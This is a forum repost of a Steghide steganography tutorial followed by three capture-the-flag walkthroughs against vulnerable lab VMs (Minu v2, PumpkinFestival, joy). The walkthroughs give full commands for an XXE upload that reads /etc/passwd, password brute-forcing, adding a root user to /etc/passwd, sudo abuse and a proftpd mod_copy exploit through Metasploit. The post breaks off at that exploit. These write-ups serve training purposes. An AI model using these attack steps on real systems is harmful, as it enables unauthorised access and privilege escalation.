05-14-2020, 05:56 PM
| 0 | 0 | ||
Table of Content
- Introduction to Steganography
- Introduction to Steghide
- Features
- Installation of Steghide
- Getting Start with Steghide
- Functionality of Steghide
- Embedding of Data Via Steghide
- Extraction of Data Via Steghide
- Password Protect Files
- Retrieve Information of Embedded File
- Verbose Mode
- Compression Mode
- Anti-compression Mode
- Embedding File Without Name
- Encrypting Algorithms
- Overwriting the Existing File
- Embedding of Data Via Steghide
In digital steganography, electronic communications may incorporate steganographic coding inside of a transport layer, such as a document file, picture file, program or convention. Media records are perfect for steganographic transmission since of their expansive estimate. For instance, a sender might begin with a harmless picture and make few alterations to it in order to hide data, so that, this alteration goes unnoticed for someone who is not particularly seeking out for it.
The upside of steganography over cryptography alone is that the planned mystery message does not stand out to itself as an object of examination. Clearly obvious scrambled messages—regardless of how unbreakable—stimulate intrigue, and may in themselves be implicating in nations where encryption is illicit. In this manner, while cryptography is the act of securing the substance of a message alone, steganography is worried about hiding the way that a mystery message is being sent, just as disguising the substance of the message.
Introduction to Steghide
Steghide may be a steganography device which permits you to cover up confidential records inside a picture or sound record with a passphrase. Bolsters BMP and JPEG picture groups, AU and WAV sound groups. By default, its employments Rijndael calculation to scramble the record and the key measure is 128 bits. This tool has its advantages and disadvantages. One upside is that it is significantly better at covering up and can without much of a stretch shroud any document type. It does as such by utilizing a propelled calculation to shroud it inside the picture (or sound) record without changing the look (or sound) of the document. This additionally implies without utilizing steghide (or if nothing else a similar scientific methodology as steghide) it is hard to extricate the concealed documents from the picture.
Features
- Compression of embedded data
- BMP, GIF and JPG supported
- Encryption of embedded data
- Decryption via password
- Uses various algorithms for encryption
Let’s start with the installation of steghide. In windows, we can download steghide from
[To see content please register here]
. After downloading we have to simply unzip the files and use it through the cmd. In Linux, open your terminal and type the following command to download Steghide :apt-get install steghide
1
apt-get install steghide
Getting Started with Steghide
To start Steghide, the most basic option we use the help command. This command will display us all the options that Steghide provides us.
steghide --help
1
steghide --help
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-BnXsd8cMMTU/XTql3shlEHI/AAAAAAAAfig/WonF9sgPkdc97WQoKYd_lGksbPL9tOG8ACLcBGAs/s1600/1.png?w=687&ssl=1)
Embedding Data in The Image
We hide data in the image using Steghide so that only the person who acknowledges it can read that. So, we made a text file named as user.txt in which we wrote our confidential data and image.jpeg is that file in which we are embedding our data. To achieve this, we’ll be executing the following command:
steghide embed -ef <txt filename> -cf <media filename>
1
steghide embed -ef <txt filename> -cf <media filename>
Here, ef and cf are termed as embedded file and cover file respectively.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-YW2pkwOPuq0/XTql4p1CbMI/AAAAAAAAfio/gJCMJH2pdQMBPyWZBRqGImRHBV4C_jh6ACLcBGAs/s1600/2.png?w=687&ssl=1)
Extraction of Data Via Steghide
Using Steghide adds an extra layer of security by allowing us to use a password for it. Now, to extract the hidden data use the following command :
steghide extract -sf <media filename>
1
steghide extract -sf <media filename>
Then enter the password in order to extract the file.
Here,
sf is a secret file
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-AkQFSqM3mx0/XTql49YXMNI/AAAAAAAAfiw/Wrwda-6U54wTXOafryudk98SabhuanqFgCLcBGAs/s1600/3.png?w=687&ssl=1)
Password Protect Files
Now, we can also extract the files using the following command. This command is different is that it specifies a password in the command itself, therefore, we do not need to specify it separately.
steghide embed -ef <txt filename> -cf <media filename> -p <password>
1
steghide embed -ef <txt filename> -cf <media filename> -p <password>
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kVHC2-fl6Ak/XTql4vj01uI/AAAAAAAAfis/MtEYhkwm7dUUdzWz0DFvbVfw5Te2DbW7gCLcBGAs/s1600/4.png?w=687&ssl=1)
Retrieve Information of Embedded File
If we have an image that is suspected to have data hidden and if so, then which algorithm is used to encrypt the data in the file. Then we will use the following command :
steghide info <media filename>
1
steghide info <media filename>
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-92HliPBah6c/XTql5Uihf5I/AAAAAAAAfi0/JTwfaN6PZ8Q-eoZDX-UE9WWsISxLOL3lwCLcBGAs/s1600/5.png?w=687&ssl=1)
Verbose Mode
To get each and every information of a file during its extraction, we can use the verbose mode. The verbose mode gives you the detailed information. We can use the verbose mode by executing the following command :
steghide embed -v -ef <txt filename> -cf <media filename>
1
steghide embed -v -ef <txt filename> -cf <media filename>
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-D6tQ5vRTFi4/XTql5--cYCI/AAAAAAAAfi4/jTr1faPEbeA7rpySuFHVZd9hvO8GPLCsgCLcBGAs/s1600/6.png?w=687&ssl=1)
Compression Mode
Now if we want to compress text file before hiding it then we would use the following command. The compression level can vary from 1 to 9. The first level gives you speed to compress whereas, at 9th level, it will provide you with the best compression techniques.
steghide embed -ef <txt filename> -cf <media filename> -z 2
1
steghide embed -ef <txt filename> -cf <media filename> -z 2
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-7iY6-LNCJ7w/XTql68U0HuI/AAAAAAAAfjA/GWdyRMv0NqoPZx6NJmmiEIAtp1lTQTk9QCLcBGAs/s1600/8.png?w=687&ssl=1)
Anti Compression Mode
Now if we don’t want to compress a file before hiding it then we will use the following command :
steghide embed -ef <txt filename> -cf <media filename> -Z
1
steghide embed -ef <txt filename> -cf <media filename> -Z
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-RS5Vo0N3wqM/XTql6V37fLI/AAAAAAAAfi8/pWlrRlb78LgQ8RYPYgN5peeb6iVlDTrDQCLcBGAs/s1600/7.png?w=687&ssl=1)
Embedding File Without Name
We can also hide a file without naming it. We will use this command :
steghide embed -ef <txt filename> -cf <media filename> -N
1
steghide embed -ef <txt filename> -cf <media filename> -N
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ySLj3Qpj7sM/XTql7gWMKiI/AAAAAAAAfjE/j5WtLr6LrA4K84smLRl_Eshz8DRb3NxJQCLcBGAs/s1600/9.png?w=687&ssl=1)
Encrypting Algorithms
We can encrypt the data that we are hiding by using encryption techniques. And this can be easily achieved by just using the following command :
steghide embed -ef <txt filename> -cf <media filename> -e <algorithm name>
1
steghide embed -ef <txt filename> -cf <media filename> -e <algorithm name>
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-CxPxg6hfcmE/XTql3vgbHWI/AAAAAAAAfik/PerMGEIe8YgnlU9ezJ1ZxRCjw9dzhM8nQCLcBGAs/s1600/10.png?w=687&ssl=1)
Overwriting the Existing File
When extracting the file let’s assume we have already have a file in the same directory with the same name. then we can use the following command to overwrite the existing file if that is desired. And for this use the following command :
steghide extract -sf <media filename> -f
1
steghide extract -sf <media filename> -f
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-CaY5ObAwkIs/XTql3pg8fKI/AAAAAAAAfic/oDew4CERbtwO8gmFXeoDlNsZONbYFumggCLcBGAs/s1600/11.png?w=687&ssl=1)
Conclusion
So, this was the short guide about Steghide. And as you can see, it is an easy tool for steganography. It’s also user-friendly. It has, therefore, become one of the finest steganography tools for extracting and embedding information in a multitude of media files Steghide has many uses and its other notable characteristics such as file encryption make it one of the finest steganography.
Today we are going to take another CTF challenge Minu:v2. The credit for making this VM machine goes to “8bitsec” and it is a boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM
[To see content please register here]
.Security Level: Beginner
Penetrating Methodology:
- Scanning
- Netdiscover
- NMAP
- Enumeration
- Web Directory Search
- Exploitation
- Command Injection
- SSH
- Privilege Escalation
- Exploiting Suid rights
Scanning:
Let’s start off by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.101 by using Netdiscover.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ROzjOglpPo8/XTnN43jwvSI/AAAAAAAAfhI/YBYCpWAw8fckVKCWoiv5tPIQC0ANNmHlQCLcBGAs/s1600/1.png?w=687&ssl=1)
Then, as usual, we used our favourite tool Nmap for port enumeration. We found that port 22 and 3306 are open.
And we observed that on port 3306 http service was running.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-OBlVFuq5di8/XTnN631YmtI/AAAAAAAAfhY/o7WgbXCtVBU73eiJQmMCl25tdL2z1DFhACLcBGAs/s1600/2.png?w=687&ssl=1)
Enumeration:
We found nothing useful on the index page so we used dirb for brute-forcing and found one directory with .html extension.
dirb
[To see content please register here]
-X .html1
dirb
[To see content please register here]
-X .html![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-mpeez2Omysw/XTnN7VKvfOI/AAAAAAAAfhg/FVsRxbTyHhgp6tQANibYkhM-FNgdMH4ZQCLcBGAs/s1600/3.png?w=687&ssl=1)
We tried to access the URL and found that it is an upload page and accepts only .svg files as input.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-GwPCxHzeNwM/XTnN7bxfJWI/AAAAAAAAfhc/1ajUevB4t9AWG1gy_ooS_jGSxiHft6xHwCLcBGAs/s1600/4.png?w=687&ssl=1)
So we took help of the google to find any script in SVG format which we can utilize for xxe injection.
![[Image: 5.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-L9BvSkxIVxw/XTnN7_7mvaI/AAAAAAAAfhk/asIxFwfVM0snVu0Yw355Kj33IVmSnzZfQCLcBGAs/s1600/5.1.png?w=687&ssl=1)
After doing some research we found on such script in which we are injecting /etc/passwd command. We copied the script and saved it as .svg file.
![[Image: 5.2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4mdmWQ6FTEA/XTnN8Ll0PXI/AAAAAAAAfho/J3xoSL1us9w75jE4pbwHt1I8BxElIF9GwCLcBGAs/s1600/5.2.png?w=687&ssl=1)
Exploitation:
We tried to upload the script file and it got successfully uploaded. And after uploading, we checked for the page source and got the output of /etc/passwd file.
We came to know that the target has multiple users like employee, chrony, nobody etc.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5pWQjulYANs/XTnN8S3Bb1I/AAAAAAAAfhs/kP8WaMjue9EKAzf8f6T5AK2yBF7MXOj0gCLcBGAs/s1600/5.png?w=687&ssl=1)
We thought of exploring other commands using the same script.
Since the target machine is using the /bin/ash shell, we thought of checking the shell history in the /.ash_history directory by editing the script file.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-lOEY4gcr1MQ/XTnN84X6MNI/AAAAAAAAfhw/n0byAa_aGr0iGVMIZ1QGzsf5wSqmIHmlACLcBGAs/s1600/6.png?w=687&ssl=1)
After editing we uploaded the file and got some useful information from the history file, which gave us a username and a password.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-WnaXaTEKhSo/XTnN9TST1HI/AAAAAAAAfh4/A0EUuPS2YuASmQ2-I5xViBYZlnAXgY9vACLcBGAs/s1600/7.png?w=687&ssl=1)
So we tried to ssh the target machine with username employee and a password superultrapass3 which we got above and were successfully able to login.
After logging in we checked for the suid permissions for privilege escalation and got one file with name micro which came out to be an editor tool.
ssh [email protected]
find / -perm -u=s -type f 2>/dev/null
/usr/bin/micro
1
2
3
ssh [email protected]
find / -perm -u=s -type f 2>/dev/null
/usr/bin/micro
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-EfFSLAGOPLY/XTnN9QbvjoI/AAAAAAAAfh0/EV8QmwwM4bIdrhlI2CiYHkgyUWupxfGqACLcBGAs/s1600/8.png?w=687&ssl=1)
Privilege Escalation:
We tried to pipe the contents of /etc/passwd file into the macro editor where we can edit or add new users with root privileges
cat /etc/passwd | /usr/bin/micro
1
cat /etc/passwd | /usr/bin/micro
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rAnONdKaI3Y/XTnN4rXPLyI/AAAAAAAAfhE/ZqvfNKv27c4QRI7c0xtuhBlcKbJ7fnfXACLcBGAs/s1600/10.png?w=687&ssl=1)
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-SqSjBvV03qA/XTnN4jx-JeI/AAAAAAAAfhA/q-pwvcB5wLkEHttJLPHtH1KFE24kW6mygCLcBGAs/s1600/11.png?w=687&ssl=1)
We created the password for the new user using the openssl tool.
openssl passwd -1 -salt user3 pass123
1
openssl passwd -1 -salt user3 pass123
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cbB_79VPZEQ/XTnN5jXC5DI/AAAAAAAAfhM/9nLJST7-Po8PDLLCBXfRSTDr9JA9rE-ZgCLcBGAs/s1600/12.png?w=687&ssl=1)
After that, we added the new user test and hashed password with root privileges into the /etc/passwd file and saved it.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Vx8e17XFy6M/XTnN5-w0yNI/AAAAAAAAfhQ/3iSD7V_3QWwq5nICFJjjdePaw7qDH1XEgCLcBGAs/s1600/13.png?w=687&ssl=1)
Once we had a user with root privileges we switched to that user and successfully got the shell with root shell and eventually got the flag.
su test
id
cd /root
cat flag.txt
1
2
3
4
su test
id
cd /root
cat flag.txt
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-pdz0LTT1yB0/XTnN6FteH8I/AAAAAAAAfhU/uFw32-tRpokW0g3ds5aFk7tbt0KOIWm-QCLcBGAs/s1600/14.png?w=687&ssl=1)
PumpkinFestival is another CTF challenge from the series of Mission-Pumpkin v1.0 created by keeping beginners in mind and all credit for this VM goes to Jayanth. This level is all about collecting 10 pumpkin tokens gain the root access to collect the PumpkinFestival_Ticket.
You can download it from
[To see content please register here]
Level: Beginner to Intermediate
Penetrating Methodology:
- Scanning
- Nmap
- Enumeration
- FTP
- WPScan
- DirBuster
- Enum4linux
- Hydra
- Exploitation
- SSH
- Privilege Escalation
- Exploiting Sudo rights
Scanning:
Let’s start off with the scanning process. This target VM took the IP address of 192.168.1.101 automatically from our local wifi network.
Then, as usual, we used our favourite tool Nmap for port scanning. We found that port 21, 80 is open and ssh is running on port 6880.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Ne7ytSIiT74/XThWvsNRwpI/AAAAAAAAfe8/BUhPAmMLP6IhE2uymp-_DYHw_3HobjQFQCLcBGAs/s1600/1.png?w=687&ssl=1)
Token 1:
Anonymous login is enabled on the ftp. So we tried to login using anonymous: anonymous.
Upon successful login we traversed through different directories and found our first token 2d6dbbae84d724409606eddd9dd71265 inside token.txt file.
ftp 192.168.1.101
cd secret
get token.txt
bye
cat token.txt
1
2
3
4
5
ftp 192.168.1.101
cd secret
get token.txt
bye
cat token.txt
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-0QBZmkAd_HE/XThWyUpQOOI/AAAAAAAAffc/JcptX2E85xMEmeLskpFvmi3E_N_t3DF6ACLcBGAs/s1600/2.png?w=687&ssl=1)
Token 2:
Port 80 is open on the target system, we opened the IP address in our browser we didn’t get aby token but got a word named Alohomera! Which might be useful later on.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wDVxR3X_zUU/XThW2XClXfI/AAAAAAAAfgE/kxoklaJN9rE7_YBmo_yhqwrM-qIZUxq8wCLcBGAs/s1600/3.png?w=687&ssl=1)
We checked for the page source of the page and got our second token 45d9ee7239bc6b0bb21d3f8e1c5faa52.
In the page source only we also found one username Harry which we will use in the later stage.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5yMIoGgLz6M/XThW2rNzfYI/AAAAAAAAfgI/4Y3WgJ8I4roOMToFSYLFQgb1lz3meuWYACLcBGAs/s1600/4.png?w=687&ssl=1)
Token 3:
In the nmap scan earlier we have got few directories, we tried to access each one of them one by one.
From the /store/track.txt we found one username admin and a domain name pumpkin.local.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kzo4YuWixng/XThW3c1BAUI/AAAAAAAAfgM/0YkMBGRFAoE_ts9ytWdnaDAFR5s1-MY2gCLcBGAs/s1600/5.png?w=687&ssl=1)
We mapped the domain name with the target machine’s IP address in the /etc/hosts file.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-0GLMtp084oA/XThW3mISgXI/AAAAAAAAfgQ/cOkVkVs1TOoHwrmoFMGFhMpj0Sdu0p9gwCLcBGAs/s1600/6.png?w=687&ssl=1)
After that, we accessed the pumpkin.local from the browser it came out to be another WordPress site and got one more flag 06c3eb12ef2389e2752335beccfb2080.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-73KNF8Xxvo4/XThW380rLHI/AAAAAAAAfgU/LX-G_qQNyGYcvX3vh9fv7HIyJO9tfEXqwCLcBGAs/s1600/7.png?w=687&ssl=1)
Token 4:
There is one more directory which we got from the Nmap scan named /tokens.
We couldn’t find anything inside this directory using different directory brute-forcing tool but we were still curious that there must be something inside this directory. So we did a number of hit and trials and finally got our fourth token 2c0e11d2200e2604587c331f02a7ebea in token.txt.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-oe5aNGzyCTA/XThWved_fRI/AAAAAAAAfe4/HL_vGotKjN0_C00zD3mbYeKtYUHpFq3dgCLcBGAs/s1600/11.png?w=687&ssl=1)
Token 5:
Since we have a WordPress site running under pumpkins.local domain name, we tried wpscan and got a file named readme.html.
wpscan --url
[To see content please register here]
-e at -e ap -e u1
wpscan --url
[To see content please register here]
-e at -e ap -e u![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-030y2Eq0Jnk/XThWvA81SGI/AAAAAAAAfe0/AbGDqsbCGVkwxqu_rSykQae5_Cn-meEDQCLcBGAs/s1600/12.png?w=687&ssl=1)
We also got two usernames admin & morse for the WordPress site which we will use to access the admin login of the site later on.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-BAzb7H0nDoE/XThWxbqN32I/AAAAAAAAffU/Yc7_jMzdkk04xWNL5KWWbACd8XOQnLahwCLcBGAs/s1600/18.png?w=687&ssl=1)
After accessing the URL pumpkins.local/readme.html we got some code.
We tried to crack it online and it was a base62 code which gave us a password Ug0t!TrIpyJ for user morse & jack.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-s52JP4jcTLo/XThWwzcJ10I/AAAAAAAAffI/bbuo25dc6l4K0EyE7CeSCksYzx5PTeXSACLcBGAs/s1600/14.png?w=687&ssl=1)
As we have got the password for the morse, we logged in to the wp-admin and got our 5th token 7139e925fd43618653e51f820bc6201b
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-pnieavhjaNU/XThWyW8Gu7I/AAAAAAAAffY/_nmXYAIBmE4E_0SBDfurGeINoty9e7oNQCLcBGAs/s1600/19.png?w=687&ssl=1)
Token 6:
Since we have one more wp-admin user named admin and if you remember we also have got a keyword earlier named Alohomera! we tried this as our password to login into a WordPress site and were successfully able to do so and eventually got our 6th token f2e00edc353309b40e1aed18e18ab2c4
![[Image: 30.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-8_nWqEe0IyI/XThW2exogNI/AAAAAAAAfgA/hBR22WhyI6ok1rG8y-pCmAlkkDYmy0t7QCLcBGAs/s1600/30.png?w=687&ssl=1)
Token 7:
It’s always a good practice to use multiple tools for bruteforcing to get more reliable and add on results. We used DirBuster to bruteforce the URL
[To see content please register here]
and got one more directory named license.txt Accessing the same directory in the browser gave us one more token 5ff346114d634a015ce413e1bc3d8d71![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3GowC0ZtpBA/XThWwjTKBJI/AAAAAAAAffE/zpMcdJvdVBY_-6w_V6YggfwopQYDCQjnQCLcBGAs/s1600/15.png?w=687&ssl=1)
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MAAh9iU5TwA/XThWxR6ai0I/AAAAAAAAffM/q7IiABIBhU8tmbqbfyILR2QKtEQMWlqkQCLcBGAs/s1600/16.png?w=687&ssl=1)
Accessing the same directory in the browser gave us one more token 5ff346114d634a015ce413e1bc3d8d71
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8X3dewMlH54/XTlp8oBWH3I/AAAAAAAAfg4/2zSd16fNH2MJztiUGJ9LP9f6gVgHirItQCLcBGAs/s1600/17.png?w=687&ssl=1)
Token 8:
We have a total of four users admin, morse, jack & harry with passwords only for only three.
So we tried to get the password of harry by bruteforcing using hydra. We got a password yrrah.
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp -e nsr
1
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp -e nsr
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-1r_cApaIiPk/XThWy3r2UHI/AAAAAAAAffg/pfWkj4f-SO06XDQuyzJIGcocsLwUB_Z7wCLcBGAs/s1600/20.png?w=687&ssl=1)
We logged into ftp of the target machine using these credentials and found the 8th token ba9fa9abf2be9373b7cbd9a6457f374e
ftp 192.168.1.101
ls
get token.txt
bye
cat token.txt
1
2
3
4
5
ftp 192.168.1.101
ls
get token.txt
bye
cat token.txt
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-dWsdBewLhPY/XThWzUnF2iI/AAAAAAAAffk/txWYxY7wrUUSXVwGpaTox67ZA-BboTRjACLcBGAs/s1600/21.png?w=687&ssl=1)
Token 9:
In the above screenshot you can see that there is a directory named /Donotopen , we went inside this directory and found another directory named /NO and after a lot of traversing we finally found the file name token.txt. We downloaded the file into our system and got the 9th token 8d66ef0055b43d80c34917ec6c75f706
cd Donotopen
ls
cd NO
cd NOO
cd NOOO
cd NOOOO
get token.txt
bye
cat token.txt
1
2
3
4
5
6
7
8
9
cd Donotopen
ls
cd NO
cd NOO
cd NOOO
cd NOOOO
get token.txt
bye
cat token.txt
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-aHqKzN0EZ3g/XThWzvIFwII/AAAAAAAAffo/Q6RWdc5c4lw-FeA5uo_QeayTVm8kpKLTwCLcBGAs/s1600/22.png?w=687&ssl=1)
Token 10:
It’s time to get the 10th token. Let’s HUNT!
From the above screen you might have seen there is one more directory /NOOOOO and after some traversing found a file data.txt. We downloaded the file into our kali and found some random codes inside.
cd NOOOOOO
bye
get data.txt
1
2
3
cd NOOOOOO
bye
get data.txt
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-gZXCrYEVesY/XThWzmLKorI/AAAAAAAAffs/Je83PVlRwokty0QWEEdui6noa8p2RWzvwCLcBGAs/s1600/23.png?w=687&ssl=1)
We checked for the file type and it is tar file. We untar the file and got another file data.
That file also came out to be a zip file and after unzipping we got a file key and after untaring that, we finally got a file named jack which had hexdump inside.
file data.txt
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
1
2
3
4
5
file data.txt
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-yEyWlgL6ZgM/XThW0Uojy8I/AAAAAAAAffw/rbALCQ8RId4t0P4YCvlLmpHJNY8ycicFwCLcBGAs/s1600/24.png?w=687&ssl=1)
Then we used xxd to covert and patch the hexdump into binary.
We got an ssh private key.
xxd -r -p jack
1
xxd -r -p jack
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-80WzyO1nA5A/XThW05Dz73I/AAAAAAAAff0/mMVyUPeWCI0Mstau0Q5jtx-CMQtxwGM7gCLcBGAs/s1600/25.png?w=687&ssl=1)
As we have got an ssh key, what we did is we used this key to ssh login the target machine on port 6808 with user jack.
After successful login we found our final and 10th token 8d66ef0055b43d80c34917ec6c75f706
chmod 600 sshkey
ssh [email protected] -i sshkey -p 6880
file token
./token
sudo -l
1
2
3
4
5
chmod 600 sshkey
ssh [email protected] -i sshkey -p 6880
file token
./token
sudo -l
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-c1GPPh3Ul6U/XThW1N9o8xI/AAAAAAAAff4/y5-SVwi-pbUhCDuBkaicznjXzAWVjuD9QCLcBGAs/s1600/27.png?w=687&ssl=1)
Privilege Escalation/PumpkinFestival_Ticket:
From the above screenshot, we can see jack has sudoer permission for alohomora file.
Now to get the root shell and then finally get the PumpkinFestival_Ticket we will exploit the sudoer permissions of the jack.
We checked for the pumpkins directory but couldn’t find any, so we created a directory named pumpkins and then using echo command we created a file named alohomora with /bin/bash copied in it.
We then gave it execution permissions and tried to execute the file as sudoer and we successfully got the root shell and eventually the PumpkinFestival_Ticket which completes our challenge.
mkdir pumpkins
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod 777 /home/jack/pumkins/alohomora
id
cd /root
ls
cat PumpkinFestival_Ticket
1
2
3
4
5
6
7
mkdir pumpkins
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod 777 /home/jack/pumkins/alohomora
id
cd /root
ls
cat PumpkinFestival_Ticket
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ROwNCoEOnG4/XThW1_-n1sI/AAAAAAAAff8/OV_D2ULbYxc83o1fzLSKVw_LfXmTRA62gCLcBGAs/s1600/28.png?w=687&ssl=1)
Today we have another CTF post, one more series of Dgitalworld.local named “joy” and the credits goes to Donavan. This is a boot to root challenge available on vulnhub you can download it from the given below link and the CTF is design for OSCP practices.
Download Link:
[To see content please register here]
Level: Intermediate
Task: Obtain root shell
Penetration Testing Methodologies
Scanning
- Nmap
- FTP anonymous login
- Exploit proftpd using Metasploit
- Sudo right
Scanning
Let’s start off with the scanning process. This target VM took the IP address of 192.168.1.104 automatically from our local wifi network.
Then, as usual, we used our favourite tool Nmap for port scanning. Here we found that so many ports were opened but port 21 for ftp looks more interesting to me as anonymous login was allowed on the running machine for two directories /upload /download.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-o6ox0kZfUtU/XTfjS2ILq_I/AAAAAAAAfd0/2ApafVxOZiojSQ_PY8K3OaeW5U3p28bvwCLcBGAs/s1600/1.png?w=687&ssl=1)
Enumeration
So, we connect to ftp where here I find two directories /download and /upload. The upload directory has read and write permission whereas the /download has read permission. So, we try to access /download directory and found a file within its named “directory”.
ftp 192.168.1.104
ls
cd download
ls
get directory
1
2
3
4
5
ftp 192.168.1.104
ls
cd download
ls
get directory
Thus, we copied the file named as directories in our local machine.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-bzUlJfX54D8/XTfjTVZ3w2I/AAAAAAAAfd8/8fe9dU28tPMgRXBmCK9BKJxEzyBLVOcaQCLcBGAs/s1600/2.png?w=687&ssl=1)
So, by reading directory file, you will evaluate that, this file gave a brief idea about Patrick’s directory where Patrick should be the user account. In this, we look at a file name “version_control” it could be considered as a suspect.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-eZZrD8aKnAs/XTfjTWaTnmI/AAAAAAAAfeA/RIVm0jJWgT4GmNiN5qg5NGQQX2AteedlwCLcBGAs/s1600/3.png?w=687&ssl=1)
Since the version_control exist inside Patrick’ s directory so we cannot grab the file directly, therefore, I try to transfer version_control file inside /upload directory because it has read/write permission through ftp anonymous login.
telnet 192.168.1.104 21
site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control
1
2
3
telnet 192.168.1.104 21
site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control
Hence you can observe with the help of above command we had copied “version_control” inside /upload folder.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wv4EaeRrfPk/XTfjTxOYfQI/AAAAAAAAfeE/wXqkEQSUovYJktMBvX9NbLdn2x-20mD3QCLcBGAs/s1600/4.png?w=687&ssl=1)
Further, we navigate to /upload/version_control and found a version of ftp service running on host machine moreover we obtained the path for webroot i.e. /var/www/tryingharderisjoy.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-dKTdHb7YfTQ/XTfjUK1KJwI/AAAAAAAAfeI/Pati5lpXrLwB5k4k52RL16Fbdk_Ap5IZACLcBGAs/s1600/5.png?w=687&ssl=1)
Exploit
So, we search for an exploit for proftpd and found a Metasploit module thus we execute the following command to get a session of the host machine.
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/tryingharderisjoy
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit
1
2
3
4
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/tryingharderisjoy
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit
